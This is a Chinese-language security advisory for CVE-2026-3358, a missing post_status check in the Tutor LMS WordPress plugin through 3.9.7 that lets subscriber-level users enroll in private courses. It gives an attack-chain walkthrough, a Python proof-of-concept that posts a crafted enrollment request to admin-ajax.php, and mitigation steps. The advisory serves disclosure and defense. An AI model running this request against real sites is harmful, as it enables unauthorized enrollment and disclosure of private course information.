IPBUF安全漏洞报告
English
CVE-2026-3358 CVSS 5.4 中危

CVE-2026-3358 Tutor LMS 未授权私人课程注册漏洞

披露日期: 2026-04-11

漏洞信息

漏洞编号
CVE-2026-3358
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS

相关标签

权限绕过WordPress插件Tutor LMS信息泄露CVE-2026-3358

漏洞概述

Tutor LMS插件在3.9.7及之前的版本中存在安全漏洞,导致未经授权的私人课程注册。该漏洞源于`enroll_now()`和`course_enrollment()`函数中缺少对课程`post_status`的验证。尽管系统验证了nonce和用户身份,但未检查课程是否为私有状态。这使得拥有订阅者及以上权限的认证攻击者,能够通过发送特制的POST请求强行注册私人课程,导致课程信息在用户仪表盘中泄露。

技术细节

该漏洞源于WordPress插件Tutor LMS在处理课程注册请求时的逻辑缺陷。具体而言,`enroll_now()`和`course_enrollment()`函数仅实现了基本的身份验证和购买能力检查,但未验证目标课程的`post_status`属性。在正常逻辑下,私人课程的注册应被限制在拥有`read_private_posts`权限的用户范围内。然而,由于此验证缺失,任何经过身份验证的低权限用户(如订阅者)都可以通过构造包含目标课程ID的POST请求,调用注册接口。服务器接收到请求后,会错误地处理该请求并在数据库中生成注册记录。虽然WordPress核心的访问控制机制会阻止用户直接查看私人课程内容(返回404),但注册记录的创建导致课程标题和注册状态在用户的个人仪表盘中暴露,违反了最小权限原则,造成了信息的未授权披露。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用了Tutor LMS插件,并探测到私人课程的ID。
STEP 2
获取权限
攻击者注册一个合法的低权限账号(如订阅者Subscriber),并获取登录后的Cookie或Session。
STEP 3
发送攻击请求
攻击者构造包含目标私人课程ID的POST请求,发送至注册接口(如admin-ajax.php),利用缺失的post_status检查。
STEP 4
验证结果
服务器处理请求后在数据库创建注册记录,攻击者查看个人仪表盘确认已成功注册私人课程,获取课程标题信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" course_id = "TARGET_PRIVATE_COURSE_ID" # ID of the private course user_cookie = "wordpress_logged_in_xxx=..." # Authenticated user cookie (Subscriber level) # Payload data # The action usually corresponds to the function triggering enrollment payload = { "action": "tutor_enroll_in_course", "course_id": course_id, "tutor_course_enroll_by": "free" } # Headers headers = { "Cookie": user_cookie, "User-Agent": "PoC-Request/1.0" } # Send POST request response = requests.post(target_url, data=payload, headers=headers) # Check response if response.status_code == 200: print("Request sent successfully.") print("Response:", response.text) print("Check user dashboard to see if the private course is listed.") else: print(f"Failed with status code: {response.status_code}")

影响范围

Tutor LMS <= 3.9.7

防御指南

临时缓解措施
建议管理员立即检查数据库中是否有非授权的私人课程注册记录。在未升级插件前,可以通过Web应用防火墙(WAF)规则拦截针对特定注册接口的异常请求,或暂时禁用插件功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表